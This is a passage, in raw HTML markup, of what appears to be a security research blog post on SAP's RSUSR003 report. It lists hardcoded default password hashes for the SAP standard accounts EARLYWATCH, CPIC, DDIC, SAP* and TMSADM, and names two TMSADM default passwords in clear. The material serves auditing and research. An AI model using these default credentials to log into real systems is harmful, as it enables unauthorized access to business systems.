&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;We also find default passwords hashes that are implemented to the program source text. Interestingly enough that there are two groups of hashes for the user TMSADM: one for the password PASSWORD and another for $1Pawd2&amp;amp;. Here they are (they might be useful for audit, penetration testing etc.).&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="font: 11.0px 'Lucida Grande'; margin: 0.0px 0.0px 10.0px 0.0px;"&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="color: #4ea618; font: 10.0px 'Courier New'; margin: 0.0px 0.0px 10.0px 0.0px;"&gt;
&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span style="color: grey; letter-spacing: 0.0px;"&gt;&lt;i&gt;*&amp;nbsp;&amp;nbsp;EARLYWATCH&lt;/i&gt;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;lc_ewa&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;TYPE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;xucode&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="letter-spacing: 0.0px;"&gt;'13C810002A147DEE'&lt;/span&gt;&lt;span style="color: purple; letter-spacing: 0.0px;"&gt;,&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;lc_ewb&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;TYPE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;xucode&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="letter-spacing: 0.0px;"&gt;'BD5E494D3ECBF5E2'&lt;/span&gt;&lt;span style="color: purple; letter-spacing: 0.0px;"&gt;,&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;lc_ewd&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;TYPE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;xucode&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="letter-spacing: 0.0px;"&gt;'573822832DF89B9C'&lt;/span&gt;&lt;span style="color: purple; letter-spacing: 0.0px;"&gt;,&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;lc_ewe&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;TYPE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;xucode&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="letter-spacing: 0.0px;"&gt;'B3ADDFE95DCD036F'&lt;/span&gt;&lt;span style="color: purple; letter-spacing: 0.0px;"&gt;,&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;lc_ewf1&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;TYPE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;hash160x&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="letter-spacing: 0.0px;"&gt;'924127D88EE3C1820A2C88495EC4825E819C9249'&lt;/span&gt;&lt;span style="color: purple; letter-spacing: 0.0px;"&gt;,&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;lc_ewf2&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;TYPE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;hash160x&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="letter-spacing: 0.0px;"&gt;'760293CCD7AC111298A7AC70D3304242E442320F'&lt;/span&gt;&lt;span style="color: purple; letter-spacing: 0.0px;"&gt;,&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span style="color: grey; letter-spacing: 0.0px;"&gt;&lt;i&gt;*&amp;nbsp;&amp;nbsp;CPIC&lt;/i&gt;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;lc_cpa&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;TYPE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;xucode&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="letter-spacing: 0.0px;"&gt;'FC49DBF6F3FDCF36'&lt;/span&gt;&lt;span style="color: purple; letter-spacing: 0.0px;"&gt;,&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;lc_cpb&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;TYPE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;xucode&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="letter-spacing: 0.0px;"&gt;'7D806C248F03813D'&lt;/span&gt;&lt;span style="color: purple; letter-spacing: 0.0px;"&gt;,&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;lc_cpd&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;TYPE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;xucode&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="letter-spacing: 0.0px;"&gt;'35C7AB28316EA22F'&lt;/span&gt;&lt;span style="color: purple; letter-spacing: 0.0px;"&gt;,&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;lc_cpe&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;TYPE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;xucode&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="letter-spacing: 0.0px;"&gt;'5A5F45726821A147'&lt;/span&gt;&lt;span style="color: purple; letter-spacing: 0.0px;"&gt;,&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;lc_cpf1&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;TYPE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;hash160x&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="letter-spacing: 0.0px;"&gt;'57CF364A7D83FA563025C7BCFFFB3B579DFB23F3'&lt;/span&gt;&lt;span style="color: purple; letter-spacing: 0.0px;"&gt;,&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;lc_cpf2&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;TYPE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;hash160x&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="letter-spacing: 0.0px;"&gt;'38AE55102813F3BBBC3B3BCA09285ED5A9E0423F'&lt;/span&gt;&lt;span style="color: purple; letter-spacing: 0.0px;"&gt;,&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span style="color: grey; letter-spacing: 0.0px;"&gt;&lt;i&gt;*&amp;nbsp;&amp;nbsp;DDIC&lt;/i&gt;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;lc_dda&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;TYPE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;xucode&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="letter-spacing: 0.0px;"&gt;'5FA752863FB70BA9'&lt;/span&gt;&lt;span style="color: purple; letter-spacing: 0.0px;"&gt;,&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;lc_ddb&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;TYPE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;xucode&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="letter-spacing: 0.0px;"&gt;'61D26428640DBAB5'&lt;/span&gt;&lt;span style="color: purple; letter-spacing: 0.0px;"&gt;,&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;lc_ddd&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;TYPE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;xucode&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="letter-spacing: 0.0px;"&gt;'DCA44BB71C073A05'&lt;/span&gt;&lt;span style="color: purple; letter-spacing: 0.0px;"&gt;,&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;lc_dde&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;TYPE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;xucode&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="letter-spacing: 0.0px;"&gt;'08FA7683A46D9AA9'&lt;/span&gt;&lt;span style="color: purple; letter-spacing: 0.0px;"&gt;,&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;lc_ddf&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;TYPE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;hash160x&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="letter-spacing: 0.0px;"&gt;'905F5E6CE67B7C60D0F7BA9C4063AAF0D8602B45'&lt;/span&gt;&lt;span style="color: purple; letter-spacing: 0.0px;"&gt;,&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span style="color: grey; letter-spacing: 0.0px;"&gt;&lt;i&gt;*&amp;nbsp;&amp;nbsp;SAP*&lt;/i&gt;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;lc_saa&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;TYPE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;xucode&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="letter-spacing: 0.0px;"&gt;'C75E6D9600AB5710'&lt;/span&gt;&lt;span style="color: purple; letter-spacing: 0.0px;"&gt;,&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;lc_sab&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;TYPE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;xucode&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="letter-spacing: 0.0px;"&gt;'D0BFF4276DA1E208'&lt;/span&gt;&lt;span style="color: purple; letter-spacing: 0.0px;"&gt;,&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;lc_sad&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;TYPE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;xucode&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="letter-spacing: 0.0px;"&gt;'A83ECB9EC4D34C08'&lt;/span&gt;&lt;span style="color: purple; letter-spacing: 0.0px;"&gt;,&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;lc_sae&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;TYPE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;xucode&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="letter-spacing: 0.0px;"&gt;'95984B6A25BA20E9'&lt;/span&gt;&lt;span style="color: purple; letter-spacing: 0.0px;"&gt;,&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;lc_saf&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;TYPE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;hash160x&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="letter-spacing: 0.0px;"&gt;'8948310AF768FA9061598E8F68FD144CE65B7480'&lt;/span&gt;&lt;span style="color: purple; letter-spacing: 0.0px;"&gt;,&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span style="color: grey; letter-spacing: 0.0px;"&gt;&lt;i&gt;*&amp;nbsp;&amp;nbsp;TMSADM&amp;nbsp;(PW1)&lt;/i&gt;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;lc_tms1a&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;TYPE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;xucode&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="letter-spacing: 0.0px;"&gt;'7671D2F2729F27F0'&lt;/span&gt;&lt;span style="color: purple; letter-spacing: 0.0px;"&gt;,&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;lc_tms1b&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;TYPE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;xucode&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="letter-spacing: 0.0px;"&gt;'942B9DC0F2394D85'&lt;/span&gt;&lt;span style="color: purple; letter-spacing: 0.0px;"&gt;,&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;lc_tms1d&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;TYPE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;xucode&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="letter-spacing: 0.0px;"&gt;'7C6433CE69099272'&lt;/span&gt;&lt;span style="color: purple; letter-spacing: 0.0px;"&gt;,&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;lc_tms1e&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;TYPE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;xucode&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="letter-spacing: 0.0px;"&gt;'940BAB0E12A36DC2'&lt;/span&gt;&lt;span style="color: purple; letter-spacing: 0.0px;"&gt;,&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;lc_tms1&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;TYPE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;hash160x&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="letter-spacing: 0.0px;"&gt;'C9AA19DA354DC8397D7AC8EA8B4C04DF49CB58FF'&lt;/span&gt;&lt;span style="color: purple; letter-spacing: 0.0px;"&gt;,&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span style="color: grey; letter-spacing: 0.0px;"&gt;&lt;i&gt;*&amp;nbsp;&amp;nbsp;TMSADM&amp;nbsp;(PW2)&lt;/i&gt;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;lc_tms2a&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;TYPE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;xucode&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="letter-spacing: 0.0px;"&gt;'05CB79BE189802A0'&lt;/span&gt;&lt;span style="color: purple; letter-spacing: 0.0px;"&gt;,&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;lc_tms2b&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;TYPE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;xucode&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="letter-spacing: 0.0px;"&gt;'B7E2F82C0A3E54C4'&lt;/span&gt;&lt;span style="color: purple; letter-spacing: 0.0px;"&gt;,&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;lc_tms2d&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;TYPE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;xucode&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="letter-spacing: 0.0px;"&gt;'4DD4438D3C19138C'&lt;/span&gt;&lt;span style="color: purple; letter-spacing: 0.0px;"&gt;,&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;lc_tms2e&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;TYPE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;xucode&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="letter-spacing: 0.0px;"&gt;'D527A90BC0CAF484'&lt;/span&gt;&lt;span style="color: purple; letter-spacing: 0.0px;"&gt;,&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;lc_tms2&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;TYPE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black; letter-spacing: 0.0px;"&gt;hash160x&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3600fe; letter-spacing: 0.0px;"&gt;VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="letter-spacing: 0.0px;"&gt;'A6BF38EE57F90B78C8D88A5212BBF1BA9A966ABB'&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="font: 11.0px 'Lucida Grande'; margin: 0.0px 0.0px 10.0px 0.0px;"&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="font: 11.0px 'Lucida Grande'; margin: 0.0px 0.0px 10.0px 0.0px;"&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Note. There are 5 hashes for every account: one for every hashing algorithm used in SAP (A, B, D, E, F). Some accounts (CPIC, EARLYWATCH) each have two password hashes for the F algorithm: for passwords in upper and lower case.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="font: 11.0px 'Lucida Grande'; margin: 0.0px 0.0px 10.0px 0.0px;"&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Now we can remember that there was no information on the transport management system user TMSADM in previous versions of the RSUSR003 report. As we can see, there's no such account in the analysis results output.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-ZueN5BCTA5k/USeQUj5wYJI/AAAAAAAAChY/IU9k993rIBM/s1600/sap_def3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="142" src="http://2.bp.blogspot.com/-ZueN5BCTA5k/USeQUj5wYJI/AAAAAAAAChY/IU9k993rIBM/s400/sap_def3.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="font: 11.0px 'Lucida Grande'; margin: 0.0px 0.0px 10.0px 0.0px;"&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Apparently, the report has recently been revised and new versions contain information on default passwords and TMSADM password. It has been revised... And a new unknown password has appeared. Checking. Let's see the very beginning of the source code: it usually has information on updates and amendments that were made.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-qc5VNaZfl4w/USeQm5no55I/AAAAAAAAChg/gW-tzCdq1fI/s1600/sap_def4.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="67" src="http://3.bp.blogspot.com/-qc5VNaZfl4w/USeQm5no55I/AAAAAAAAChg/gW-tzCdq1fI/s640/sap_def4.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="font: 11.0px 'Lucida Grande'; margin: 0.0px 0.0px 10.0px 0.0px;"&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
